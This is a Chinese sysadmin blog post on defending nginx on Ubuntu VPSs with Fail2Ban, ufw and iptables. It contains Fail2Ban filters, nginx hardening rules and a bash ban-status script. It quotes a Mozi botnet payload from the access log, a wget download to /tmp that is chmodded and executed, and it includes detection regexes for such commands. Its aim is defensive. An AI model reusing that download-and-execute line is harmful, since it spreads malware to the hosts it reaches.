< OS 有关 4 台 Ubuntu VPSs 正在被攻击:nginx > 记录、分析、防护的过程 配置 ufw Fail2Ban iptables 保护网络上的主机

前言:

这是上一编的延续:

< OS 有关 4 台 Ubuntu VPSs 正在被攻击:ssh > 记录、分析、防护的过程 配置 ufw Fail2Ban iptables 保护网络上的主机

    上一编描述的是 ssh 的防御,下面是关于攻击 NGINX 的防御。

    Nginx 正在被攻击 (实践:BJT)

    通过以下几种方式来发现网络攻击

    • 查看访问日志
    • 查看错误日志
    • 分析异常访问模式
    sudo tail -n 200 /var/log/nginx/access.log
    
    sudo tail -n 200 /var/log/nginx/error.log
    
    sudo grep "404\|403\|500" /var/log/nginx/access.log | tail -50

      1. 典型的攻击特征:

      从 /var/log/nginx/access.log 观察到:

      1)PHP 信息泄露 、敏感文件扫描

      在日志中见到:

      /phpinfo.php, /info.php, /test.php, /debug.php, /system_info.php, /diagnostics.php, /status.php, /_profiler/phpinfo, /index.php?info

      /.env, /.env.production, /.env.local, /.env.development, /.git/, /.github/, /.docker/, /.AWS_/credentials, /.aws/credentials/login/, /config/.env, /app/.env

      2)目录遍历攻击

      尝试访问常见的敏感目录:/admin/, /config/, /uploads/, /backup/, /var/www/, /tmp/, /logs/, /data/, /node_modules/, /api/, /public/

      3) 恶意载荷注入

      27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips

      典型的 Mozi 僵尸网络攻击尝试

      4)RDP 攻击

      \x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr

      从 /var/log/nginx/error.log 看到:

      5)Web应用扫描

      2025/06/12 18:45:45 [error] 12578#12578: *145 "/var/www/html/solr/index.html" is not found (2: No such file or directory), client: 45.156.129.122, server: bjt.daven.us, request: "GET /solr/ HTTP/1.1", host: "49.233.202.43"

      /partymgr/control/main (Apache OFBiz)
      /jasperserver/login.html (JasperReports)
      /solr/ (Apache Solr)
      /owncloud/status.php (ownCloud)
      /geoserver/web/ (GeoServer)

      6)登录页面扫描 (类似 2 目录遍历攻击)

      /admin/, /login.html, /login.do
      /WebInterface/, /owa/ (Outlook Web Access)
      /OA_HTML/AppsLocalLogin.jsp (Oracle Applications)

      7)特定漏洞扫描

      /Telerik.Web.UI.WebResource.axd (Telerik控件漏洞)
      /sitecore/shell/sitecore.version.xml (Sitecore CMS)
      /cgi-bin/authLogin.cgi (CGI漏洞)

      2. 解决办法

      利用 F2B 

      1)扫描检测过滤器  /etc/fail2ban/filter.d/nginx-scan.conf

      sudo vi /etc/fail2ban/filter.d/nginx-scan.conf
      [Definition]
      failregex = ^<HOST> .* "(GET|POST) [^"]*(?:phpinfo|\.env|\.git|admin|config|backup|uploads|\.aws|debug|status|system_info|diagnostics|test\.php|info\.php)[^"]*" .*$
                  ^<HOST> .* "(GET|POST) [^"]*(?:partymgr|jasperserver|solr|owncloud|geoserver|WebInterface|aspera|zabbix)[^"]*" .*$
                  ^<HOST> .* "(GET|POST) [^"]*(?:login\.html|login\.do|login\.jsp|authLogin\.cgi|AppsLocalLogin\.jsp)[^"]*" .*$
                  ^<HOST> .* "(GET|POST) [^"]*(?:Telerik\.Web\.UI|sitecore\.version\.xml|cgi-bin|showLogin\.cc|xmldata)[^"]*" .*$
                  ^<HOST> .* "(GET|POST) [^"]*(?:var/www|tmp|logs|data|node_modules|\.docker|\.github)[^"]*" .*$
                  ^<HOST> .* "(GET|POST) /[a-zA-Z0-9]{4,8}(?:\s|/|$)[^"]*" .*$
                  ^<HOST> .* "[^"]*(?:wget|chmod|/tmp/|Mozi\.m|mstshash)[^"]*".*$
      
      ignoreregex =
      


      2)创建 404 扫描检测过滤器 /etc/fail2ban/filter.d/nginx-404-scan.conf

      sudo vi /etc/fail2ban/filter.d/nginx-404-scan.conf
      [Definition]
      failregex = ^.* \[error\] .* open\(\) "/var/www/html/.*" failed \(2: No such file or directory\), client: <HOST>.*$
                  ^.* \[error\] .* ".*/index\.html" is not found \(2: No such file or directory\), client: <HOST>.*$
      
      ignoreregex =
      

      3)常用 APP 扫描检测过滤 /etc/fail2ban/filter.d/nginx-app-scan.conf

      [Definition]
      failregex = ^<HOST> .* "(GET|POST) /.*(?:wordpress|wp-admin|wp-login|drupal|joomla|phpmyadmin)" .*$
                  ^<HOST> .* "(GET|POST) /.*(?:sugar_version\.json|cf_scripts|favicon-32x32\.png|identity)" .*$
                  ^<HOST> .* "(GET|POST) /.*(?:helpdesk|internal_forms_authentication|PTZOptics)" .*$
      
      ignoreregex =
      

      4)DELETED 访问扫描检测过滤 /etc/fail2ban/filter.d/v2ray-access.conf

      [Definition]
      # DELETED 访问日志监控
      failregex = ^.* \[Info\] .* email: .* from <HOST>:\d+ rejected .*$
                  ^.* \[Warning\] .* from <HOST>:\d+ rejected .*$
                  ^.* \[Error\] .* from <HOST>:\d+ .*$
      
      ignoreregex = ^.* email: (?:albertinaluan@gmail\.com|BJN_Dircet|JPT_Dircet|USW_Dircet|dave2\.nian@gmail\.com|bj\.lifeng@gmail\.com|Nancy Liu|sukey\.feng@gmail\.com) .*$
      

      5)DELETED error /etc/fail2ban/filter.d/v2ray-error.conf

      [Definition]
      # V2Ray 错误日志监控
      failregex = ^.* \[Error\] .* failed to handler mux client connection > .* > proxy/vmess/inbound: failed to transfer request > common/buf: readv failed > .* from <HOST>:\d+.*$
                  ^.* \[Error\] .* transport/internet/websocket: failed to read request > .* from <HOST>:\d+.*$
                  ^.* \[Error\] .* proxy/vmess/inbound: invalid request version: .* from <HOST>:\d+.*$
                  ^.* \[Error\] .* proxy/vmess/inbound: invalid user .* from <HOST>:\d+.*$
      
      ignoreregex =
      

      6)DETETED 连接 扫描检测过滤 /etc/fail2ban/filter.d/DELETED-connection-limit.conf

      [Definition]
      # 检测同一IP的过度连接
      failregex = ^.* \[Info\] .* from <HOST>:\d+ .*$
      
      ignoreregex = ^.* email: (?:albertinaluan@gmail\.com|BJN_Dircet|JPT_Dircet|USW_Dircet|dave2\.nian@gmail\.com|bj\.lifeng@gmail\.com|Nancy Liu|sukey\.feng@gmail\.com) .*$
      

      7)在 jail 配置中加入以上 6 个过滤器 

      这是 BJT 使用的 ufw+iptables

      sudo vi /etc/fail2ban/jail.local

      包含了之前的 2 个过滤器

      [DEFAULT]
      bantime = -1
      findtime = 1800
      maxretry = 3
      backend = auto
      banaction = iptables-multiport
      banaction_allports = iptables-allports
      ignoreip = 127.0.0.1/8 ::1
      
      [sshd]
      enabled = true
      port = 9922
      filter = sshd
      logpath = /var/log/auth.log
      backend = auto
      bantime = -1
      findtime = 1800
      maxretry = 3
      action = iptables-multiport[name=SSH, port=9922, protocol=tcp]
      
      [ssh-scanner]
      enabled = true
      port = 9922
      filter = ssh-scanner
      logpath = /var/log/auth.log
      maxretry = 2
      bantime = -1
      findtime = 600
      action = iptables-multiport[name=SSH-SCANNER, port=9922, protocol=tcp]
      
      [nginx-scan]
      enabled = true
      port = http,https,7033
      logpath = /var/log/nginx/access.log
               /var/log/nginx/error.log
               /var/log/nginx/*.access.log
      filter = nginx-scan
      maxretry = 2
      bantime = -1
      findtime = 300
      action = iptables-multiport[name=nginx-scan, port="http,https,7033", protocol=tcp]
      
      [nginx-404-scan]
      enabled = true
      port = http,https,7033
      logpath = /var/log/nginx/error.log
               /var/log/nginx/*.error.log
      filter = nginx-404-scan
      maxretry = 10
      bantime = -1
      findtime = 600
      action = iptables-multiport[name=nginx-404-scan, port="http,https,7033", protocol=tcp]
      
      [nginx-bjn-scan]
      enabled = true
      port = http,https
      logpath = /var/log/nginx/bjn.bestherbs.cn.access.log
      filter = nginx-bjn-scan
      maxretry = 3
      bantime = -1
      findtime = 600
      action = iptables-multiport[name=nginx-bjn-scan, port="http,https", protocol=tcp]
      
      # 注释掉不存在日志文件的 jail
      # [nginx-bjt-scan]
      # enabled = false
      # port = 7033,http,https
      # logpath = /var/log/nginx/bjt.daven.us.access.log
      # filter = nginx-bjt-scan
      # maxretry = 1
      # bantime = -1
      # findtime = 300
      # action = iptables-multiport[name=nginx-bjt-scan, port="7033,http,https", protocol=tcp]
      
      [DDD-access-protection]
      enabled = true
      port = 7033
      filter = DDD-access
      logpath = /var/log/DDD/access.log
      maxretry = 3
      bantime = -1
      findtime = 600
      action = iptables-multiport[name=DDD-access, port="7033", protocol=tcp]
      
      [DDD-error-protection]
      enabled = true
      port = 7033
      filter = DDD-error
      logpath = /var/log/DDD/error.log
      maxretry = 1
      bantime = -1
      findtime = 300
      action = iptables-multiport[name=DDD-error, port="7033", protocol=tcp]
      
      [DDD-connection-limit]
      enabled = true
      port = 7033
      filter = DDD-connection-limit
      logpath = /var/log/DDD/access.log
      maxretry = 20
      bantime = -1
      findtime = 300
      action = iptables-multiport[name=DDD-limit, port="7033", protocol=tcp]
      

      8)增强 Nginx 安全配置

      编辑 /etc/nginx/sites-enabled/ 里面的网站配置文件,如果有多个,都要编辑。

      为网站添加或更新以下内容 ( 因展示 nginx 文件s 风险很大,只列出常用的配置并在配置中注释 )

      server {
          # 隐藏 Nginx 版本
          server_tokens off;
          
          # 阻止常见应用程序路径
          location ~ ^/(admin|login|wp-admin|wp-login|phpmyadmin|solr|geoserver|jasperserver|owncloud|partymgr|zabbix|aspera)/ {
              deny all;
              return 404;
          }
          
          # 阻止敏感文件
          location ~ /\.(env|git|docker|aws) {
              deny all;
              return 404;
          }
          
          # 阻止特定扩展名
          location ~ \.(jsp|do|cgi|exp)$ {
              deny all;
              return 404;
          }
          
          # 阻止随机字符串扫描
          location ~ ^/[a-zA-Z0-9]{4,8}$ {
              deny all;
              return 404;
          }
          
          # 限制请求方法
          if ($request_method !~ ^(GET|HEAD|POST)$ ) {
              return 405;
          }
          
          # 阻止某些 User-Agent
          if ($http_user_agent ~* (wget|curl|python|scanner|bot)) {
              return 403;
          }
          
          # 限制请求频率
          limit_req_zone $binary_remote_addr zone=general:10m rate=10r/m;
          limit_req zone=general burst=20 nodelay;
          
          # 针对扫描的严格限制
          location ~ /(phpinfo|admin|config|backup) {
              limit_req_zone $binary_remote_addr zone=strict:10m rate=1r/m;
              limit_req zone=strict burst=1 nodelay;
              deny all;
              return 404;
          }
      }

      因为涉及安全的配置,以免被利用,不展示完整内容。

      总结:

      fail2ban 是一个基于系统、应用日志的过滤器,用于通过扫描日志文件来检测恶意行为(例如多次密码尝试失败),然后自动更新防火墙规则来暂时或永久性地封禁恶意 IP 地址。

      在这篇文章,展示对两个应用:nginx (网站) 与 DELETED 的配置。 

      还有 3 台主机需要配置,是不是要用个脚本实现配置。

      附件 一:fail2ban-status.sh  ver2.0

      主要更新:加入GEO缓存,多IP(默认5个)同时查询,使用 ipinfo.io 替代whois,加入多参数

      命令功能
      ./fail2ban-status.sh缓存 + 并行查询
      ./fail2ban-status.sh --fast快速模式 超时+多并发
      ./fail2ban-status.sh --no-geo禁用地理位置查询
      ./fail2ban-status.sh --clear-cache缓存清理
      ./fail2ban-status.sh --save报告保存
      #!/bin/bash
      
      # Enhanced Fail2ban Status Display Script
      # Shows banned IPs, attack statistics, and security insights
      # Version: 2.0 By Dave and Claude
      
      # Color codes for better visibility
      RED='\033[0;31m'
      GREEN='\033[0;32m'
      YELLOW='\033[1;33m'
      BLUE='\033[0;34m'
      PURPLE='\033[0;35m'
      CYAN='\033[0;36m'
      WHITE='\033[1;37m'
      NC='\033[0m' # No Color
      
      # Configuration
      SHOW_GEOIP=true
      MAX_RECENT_BANS=10
      LOG_FILE="/var/log/fail2ban.log"
      GEO_CACHE_FILE="/tmp/fail2ban_geo_cache"
      GEO_CACHE_EXPIRE=86400  # 24 hours in seconds
      MAX_PARALLEL_REQUESTS=5
      GEO_TIMEOUT=2
      
      # Handle command line options
      case "$1" in
          --no-geo)
              SHOW_GEOIP=false
              ;;
          --fast)
              SHOW_GEOIP=true
              GEO_TIMEOUT=1
              MAX_PARALLEL_REQUESTS=10
              ;;
          --help)
              echo ""
              echo "Usage Options:"
              echo "   $0              # Standard report"
              echo "   $0 --fast       # Fast mode (more parallel requests, shorter timeout)"
              echo "   $0 --save       # Save report to file"
              echo "   $0 --no-geo     # Disable geolocation lookup"
              echo "   $0 --clear-cache # Clear geolocation cache"
              echo "   $0 --help       # Show this help"
              exit 0
              ;;
          --clear-cache)
              if [[ -f "$GEO_CACHE_FILE" ]]; then
                  rm "$GEO_CACHE_FILE"
                  echo "✅ Geolocation cache cleared"
              else
                  echo "⚠️  No cache file found"
              fi
              exit 0
              ;;
      esac
      
      # Function to print colored output
      print_colored() {
          local color=$1
          local text=$2
          echo -e "${color}${text}${NC}"
      }
      
      # Function to initialize geo cache
      init_geo_cache() {
          if [[ ! -f "$GEO_CACHE_FILE" ]]; then
              touch "$GEO_CACHE_FILE"
          fi
          
          # Clean expired cache entries
          if [[ -f "$GEO_CACHE_FILE" ]]; then
              current_time=$(date +%s)
              temp_cache=$(mktemp)
              while IFS='|' read -r ip timestamp country org; do
                  if [[ -n "$timestamp" && $((current_time - timestamp)) -lt $GEO_CACHE_EXPIRE ]]; then
                      echo "$ip|$timestamp|$country|$org" >> "$temp_cache"
                  fi
              done < "$GEO_CACHE_FILE"
              mv "$temp_cache" "$GEO_CACHE_FILE"
          fi
      }
      
      # Function to get cached geo info
      get_cached_geo() {
          local ip=$1
          if [[ -f "$GEO_CACHE_FILE" ]]; then
              grep "^$ip|" "$GEO_CACHE_FILE" | tail -1 | cut -d'|' -f3-
          fi
      }
      
      # Function to cache geo info
      cache_geo_info() {
          local ip=$1
          local country=$2
          local org=$3
          local timestamp=$(date +%s)
          echo "$ip|$timestamp|$country|$org" >> "$GEO_CACHE_FILE"
      }
      
      # Function to get country from IP (optimized with cache)
      get_country_info() {
          local ip=$1
          local country=""
          local org=""
          
          if [[ "$SHOW_GEOIP" == "true" ]]; then
              # Check cache first
              cached=$(get_cached_geo "$ip")
              if [[ -n "$cached" ]]; then
                  country=$(echo "$cached" | cut -d'|' -f1)
                  org=$(echo "$cached" | cut -d'|' -f2)
              else
                  # Perform lookup if not cached
                  if command -v curl >/dev/null 2>&1; then
                      local info=$(curl -s --connect-timeout $GEO_TIMEOUT --max-time $GEO_TIMEOUT "http://ipinfo.io/${ip}/json" 2>/dev/null)
                      if [[ $? -eq 0 && -n "$info" ]]; then
                          country=$(echo "$info" | grep -o '"country":"[^"]*"' | cut -d'"' -f4)
                          org=$(echo "$info" | grep -o '"org":"[^"]*"' | cut -d'"' -f4 | cut -d' ' -f2- | head -c 30)
                      fi
                  elif command -v whois >/dev/null 2>&1; then
                      country=$(timeout $GEO_TIMEOUT whois "$ip" 2>/dev/null | grep -i "country:" | head -1 | awk '{print $2}' 2>/dev/null)
                  fi
                  
                  # Cache the result
                  cache_geo_info "$ip" "$country" "$org"
              fi
          fi
          
          if [[ -n "$country" && -n "$org" ]]; then
              echo "($country - $org)"
          elif [[ -n "$country" ]]; then
              echo "($country)"
          else
              echo ""
          fi
      }
      
      # Function to lookup multiple IPs in parallel
      batch_geo_lookup() {
          local ips=("$@")
          local temp_dir=$(mktemp -d)
          
          # Limit parallel requests
          local count=0
          for ip in "${ips[@]}"; do
              # Check cache first
              cached=$(get_cached_geo "$ip")
              if [[ -n "$cached" ]]; then
                  echo "$ip|$cached" > "$temp_dir/$ip.result"
                  continue
              fi
              
              # Launch background lookup
              {
                  local country=""
                  local org=""
                  
                  if command -v curl >/dev/null 2>&1; then
                      # Use ipinfo.io API
                      local info=$(curl -s --connect-timeout $GEO_TIMEOUT --max-time $GEO_TIMEOUT "http://ipinfo.io/${ip}/json" 2>/dev/null)
                      if [[ $? -eq 0 && -n "$info" ]]; then
                          country=$(echo "$info" | grep -o '"country":"[^"]*"' | cut -d'"' -f4)
                          org=$(echo "$info" | grep -o '"org":"[^"]*"' | cut -d'"' -f4 | cut -d' ' -f2- | head -c 30)
                      fi
                  fi
                  
                  # Fallback to faster whois if curl failed
                  if [[ -z "$country" ]] && command -v whois >/dev/null 2>&1; then
                      country=$(timeout $GEO_TIMEOUT whois "$ip" 2>/dev/null | grep -i "country:" | head -1 | awk '{print $2}' 2>/dev/null)
                  fi
                  
                  # Cache the result
                  cache_geo_info "$ip" "$country" "$org"
                  echo "$ip|$country|$org" > "$temp_dir/$ip.result"
              } &
              
              count=$((count + 1))
              if [[ $count -ge $MAX_PARALLEL_REQUESTS ]]; then
                  wait  # Wait for current batch to complete
                  count=0
              fi
          done
          
          wait  # Wait for remaining jobs
          
          # Collect results
          for ip in "${ips[@]}"; do
              if [[ -f "$temp_dir/$ip.result" ]]; then
                  cat "$temp_dir/$ip.result"
              else
                  echo "$ip||"  # Empty result
              fi
          done
          
          rm -rf "$temp_dir"
      }
      
      # Function to format duration
      format_duration() {
          local seconds=$1
          if [[ $seconds -lt 60 ]]; then
              echo "${seconds}s"
          elif [[ $seconds -lt 3600 ]]; then
              echo "$((seconds/60))m $((seconds%60))s"
          elif [[ $seconds -lt 86400 ]]; then
              echo "$((seconds/3600))h $((seconds%3600/60))m"
          else
              echo "$((seconds/86400))d $((seconds%86400/3600))h"
          fi
      }
      
      # Function to analyze attack patterns
      analyze_attack_patterns() {
          if [[ -f "$LOG_FILE" ]]; then
              print_colored $CYAN "🔍 Attack Pattern Analysis:"
              echo "   ----------------------------------------"
              
              # Most targeted services
              print_colored $WHITE "   Top Targeted Services:"
              grep "Ban " "$LOG_FILE" | tail -100 | awk '{print $6}' | sed 's/\[//g' | sed 's/\]//g' | sort | uniq -c | sort -nr | head -5 | while read count service; do
                  echo "      📊 $service: $count attacks"
              done
              echo ""
              
              # Attack frequency by hour
              print_colored $WHITE "   Attack Frequency (Last 24h):"
              local current_hour=$(date +%H)
              for hour in {0..23}; do
                  local hour_str=$(printf "%02d" $hour)
                  local attacks=$(grep "$(date +%Y-%m-%d) $hour_str:" "$LOG_FILE" 2>/dev/null | grep "Ban " | wc -l)
                  if [[ $attacks -gt 0 ]]; then
                      local bar=$(printf "%*s" $((attacks/5+1)) | tr ' ' '█')
                      echo "      🕐 ${hour_str}:00 [$attacks] $bar"
                  fi
              done
              echo ""
          fi
      }
      
      # Function to show top attacking countries
      show_top_countries() {
          if [[ -f "$LOG_FILE" ]]; then
              print_colored $CYAN "🌍 Top Attacking Countries (Last 100 bans):"
              echo "   ----------------------------------------"
              
              temp_file=$(mktemp)
              grep "Ban " "$LOG_FILE" | tail -100 | awk '{print $7}' | while read ip; do
                  country=$(get_country_info "$ip" | sed 's/[()]//g' | cut -d'-' -f1 | xargs)
                  if [[ -n "$country" ]]; then
                      echo "$country"
                  else
                      echo "Unknown"
                  fi
              done > "$temp_file"
              
              if [[ -s "$temp_file" ]]; then
                  sort "$temp_file" | uniq -c | sort -nr | head -5 | while read count country; do
                      echo "      🏳️  $country: $count attacks"
                  done
              fi
              rm -f "$temp_file"
              echo ""
          fi
      }
      
      # Main script starts here
      clear
      
      # Initialize geo cache
      if [[ "$SHOW_GEOIP" == "true" ]]; then
          init_geo_cache
      fi
      
      print_colored $PURPLE "================================================"
      print_colored $PURPLE "🛡️  ENHANCED FAIL2BAN SECURITY STATUS REPORT"
      print_colored $PURPLE "================================================"
      
      # Check if script is run as root or with sudo
      if [[ $EUID -ne 0 ]]; then
          print_colored $YELLOW "⚠️  Note: Running without root privileges. Some features may be limited."
          echo ""
      fi
      
      # Check if fail2ban is installed
      if ! command -v fail2ban-client >/dev/null 2>&1; then
          print_colored $RED "❌ Fail2ban is not installed or not in PATH"
          exit 1
      fi
      
      # Check if fail2ban is running
      if ! systemctl is-active --quiet fail2ban 2>/dev/null; then
          print_colored $RED "❌ Fail2ban service is not running"
          print_colored $YELLOW "   Try: sudo systemctl start fail2ban"
          exit 1
      fi
      
      # Get current time and uptime
      print_colored $GREEN "📅 Report Time: $(date '+%Y-%m-%d %H:%M:%S')"
      if command -v uptime >/dev/null 2>&1; then
          print_colored $GREEN "⏰ System Uptime: $(uptime -p 2>/dev/null || uptime | awk '{print $3,$4}')"
      fi
      echo ""
      
      # Show fail2ban version and status
      f2b_version=$(fail2ban-client version 2>/dev/null | head -1)
      print_colored $BLUE "🔧 $f2b_version"
      print_colored $GREEN "✅ Fail2ban service is running"
      echo ""
      
      # Show overall status
      print_colored $CYAN "📊 Jail Overview:"
      fail2ban-client status 2>/dev/null | sed 's/^/   /' | while read line; do
          if [[ "$line" == *"Number of jail"* ]]; then
              print_colored $WHITE "$line"
          else
              echo "$line"
          fi
      done
      echo ""
      
      # Get all jail list
      jails=$(fail2ban-client status 2>/dev/null | grep "Jail list:" | cut -d: -f2 | tr ',' '\n' | sed 's/^[ \t]*//' | sed 's/[ \t]*$//')
      
      if [[ -z "$jails" ]]; then
          print_colored $YELLOW "⚠️  No active jails found"
          exit 0
      fi
      
      total_banned=0
      total_failed=0
      active_jails=0
      
      # Loop through each jail
      for jail in $jails; do
          if [[ -n "$jail" && "$jail" != "" ]]; then
              active_jails=$((active_jails + 1))
              
              print_colored $BLUE "🏢 Jail: $jail"
              echo "   ----------------------------------------"
              
              # Get jail status
              status_output=$(fail2ban-client status "$jail" 2>/dev/null)
              
              if [[ $? -ne 0 ]]; then
                  print_colored $RED "   ❌ Failed to get status for jail: $jail"
                  continue
              fi
              
              # Extract data
              currently_failed=$(echo "$status_output" | grep "Currently failed:" | awk '{print $NF}')
              total_failed_jail=$(echo "$status_output" | grep "Total failed:" | awk '{print $NF}')
              currently_banned=$(echo "$status_output" | grep "Currently banned:" | awk '{print $NF}')
              total_banned_jail=$(echo "$status_output" | grep "Total banned:" | awk '{print $NF}')
              banned_ips=$(echo "$status_output" | grep "Banned IP list:" | cut -d: -f2 | xargs)
              
              # Display statistics with colors
              echo "   📈 Current Failed: $currently_failed"
              echo "   📊 Total Failed: $total_failed_jail"
              
              if [[ $currently_banned -gt 0 ]]; then
                  print_colored $RED "   🚫 Currently Banned: $currently_banned"
              else
                  print_colored $GREEN "   ✅ Currently Banned: $currently_banned"
              fi
              echo "   📋 Total Banned: $total_banned_jail"
              
              # Display banned IPs with enhanced info
              if [[ -n "$banned_ips" && "$banned_ips" != "" ]]; then
                  print_colored $RED "   🔴 Banned IPs:"
                  
                  # Convert banned_ips string to array
                  ip_array=($banned_ips)
                  
                  # Batch lookup for better performance
                  if [[ "$SHOW_GEOIP" == "true" && ${#ip_array[@]} -gt 3 ]]; then
                      print_colored $YELLOW "      🔍 Looking up geolocation data..."
                      
                      # Perform batch lookup
                      geo_results=$(batch_geo_lookup "${ip_array[@]}")
                      
                      # Create associative array for quick lookup
                      declare -A geo_map
                      while IFS='|' read -r ip country org; do
                          if [[ -n "$country" && -n "$org" ]]; then
                              geo_map["$ip"]="($country - $org)"
                          elif [[ -n "$country" ]]; then
                              geo_map["$ip"]="($country)"
                          else
                              geo_map["$ip"]=""
                          fi
                      done <<< "$geo_results"
                      
                      # Display results
                      for ip in "${ip_array[@]}"; do
                          geo_info="${geo_map[$ip]}"
                          
                          # Check if IP is in private range
                          if [[ "$ip" =~ ^10\. ]] || [[ "$ip" =~ ^192\.168\. ]] || [[ "$ip" =~ ^172\.(1[6-9]|2[0-9]|3[0-1])\. ]]; then
                              print_colored $YELLOW "      🏠 $ip (Private Network) $geo_info"
                          else
                              print_colored $RED "      🌍 $ip $geo_info"
                          fi
                      done
                  else
                      # Single IP lookup for small lists
                      for ip in $banned_ips; do
                          geo_info=""
                          if [[ "$SHOW_GEOIP" == "true" ]]; then
                              geo_info=$(get_country_info "$ip")
                          fi
                          
                          # Check if IP is in private range
                          if [[ "$ip" =~ ^10\. ]] || [[ "$ip" =~ ^192\.168\. ]] || [[ "$ip" =~ ^172\.(1[6-9]|2[0-9]|3[0-1])\. ]]; then
                              print_colored $YELLOW "      🏠 $ip (Private Network) $geo_info"
                          else
                              print_colored $RED "      🌍 $ip $geo_info"
                          fi
                      done
                  fi
              else
                  print_colored $GREEN "   ✅ No banned IPs currently"
              fi
              
              # Accumulate statistics
              total_banned=$((total_banned + currently_banned))
              total_failed=$((total_failed + total_failed_jail))
              
              echo ""
          fi
      done
      
      # Display totals with enhanced formatting
      print_colored $PURPLE "================================================"
      print_colored $WHITE "📊 Overall Statistics:"
      print_colored $CYAN "   🏢 Active Jails: $active_jails"
      if [[ $total_banned -gt 0 ]]; then
          print_colored $RED "   🚫 Total Banned IPs: $total_banned"
      else
          print_colored $GREEN "   ✅ Total Banned IPs: $total_banned"
      fi
      print_colored $YELLOW "   📈 Total Attack Attempts: $total_failed"
      print_colored $PURPLE "================================================"
      
      # Show recent attacks with enhanced details
      if [[ -f "$LOG_FILE" ]]; then
          echo ""
          print_colored $CYAN "🕒 Recent Ban Activity (Last $MAX_RECENT_BANS):"
          echo "   ----------------------------------------"
          recent_bans=$(tail -100 "$LOG_FILE" 2>/dev/null | grep "Ban " | tail -$MAX_RECENT_BANS)
          if [[ -n "$recent_bans" ]]; then
              echo "$recent_bans" | while IFS= read -r line; do
                  # Parse ban line
                  timestamp=$(echo "$line" | awk '{print $1, $2}')
                  jail=$(echo "$line" | awk '{print $6}' | sed 's/\[//g' | sed 's/\]//g')
                  ip=$(echo "$line" | awk '{print $7}')
                  
                  geo_info=""
                  if [[ "$SHOW_GEOIP" == "true" ]]; then
                      geo_info=$(get_country_info "$ip")
                  fi
                  
                  print_colored $YELLOW "   📅 $timestamp"
                  echo "      🏢 Jail: $jail | 🌍 IP: $ip $geo_info"
              done
          else
              print_colored $GREEN "   ✅ No recent ban activity"
          fi
          
          # Advanced analytics
          echo ""
          analyze_attack_patterns
          show_top_countries
      fi
      
      # System resources check
      if command -v df >/dev/null 2>&1 && command -v free >/dev/null 2>&1; then
          echo ""
          print_colored $CYAN "💻 System Resources:"
          echo "   ----------------------------------------"
          
          # Disk usage for log directory
          log_dir_usage=$(df -h "$(dirname "$LOG_FILE")" 2>/dev/null | tail -1 | awk '{print $5}' | sed 's/%//')
          if [[ -n "$log_dir_usage" && $log_dir_usage -gt 80 ]]; then
              print_colored $RED "   💾 Log Directory Usage: ${log_dir_usage}% (High!)"
          else
              print_colored $GREEN "   💾 Log Directory Usage: ${log_dir_usage}%"
          fi
          
          # Memory usage
          mem_usage=$(free | grep '^Mem:' | awk '{printf "%.1f", ($3/$2)*100}')
          if (( $(echo "$mem_usage > 80" | bc -l 2>/dev/null || echo 0) )); then
              print_colored $RED "   🧠 Memory Usage: ${mem_usage}% (High!)"
          else
              print_colored $GREEN "   🧠 Memory Usage: ${mem_usage}%"
          fi
      fi
      
      # Final status
      echo ""
      if [[ $total_banned -gt 0 ]]; then
          print_colored $YELLOW "⚠️  Server is under attack but protection is active"
      else
          print_colored $GREEN "🛡️  Server security protection is running normally"
      fi
      
      print_colored $PURPLE "================================================"
      
      # Optional: Save report to file
      if [[ "$1" == "--save" ]]; then
          report_file="/var/log/fail2ban-report-$(date +%Y%m%d-%H%M%S).txt"
          # Re-run without colors and save
          SHOW_GEOIP=false bash "$0" > "$report_file" 2>&1
          print_colored $GREEN "📄 Report saved to: $report_file"
      fi

      评论
      添加红包

      请填写红包祝福语或标题

      红包个数最小为10个

      红包金额最低5元

      当前余额3.43前往充值 >
      需支付:10.00
      成就一亿技术人!
      领取后你会自动成为博主和红包主的粉丝 规则
      hope_wisdom
      发出的红包
      实付
      使用余额支付
      点击重新获取
      扫码支付
      钱包余额 0

      抵扣说明:

      1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
      2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

      余额充值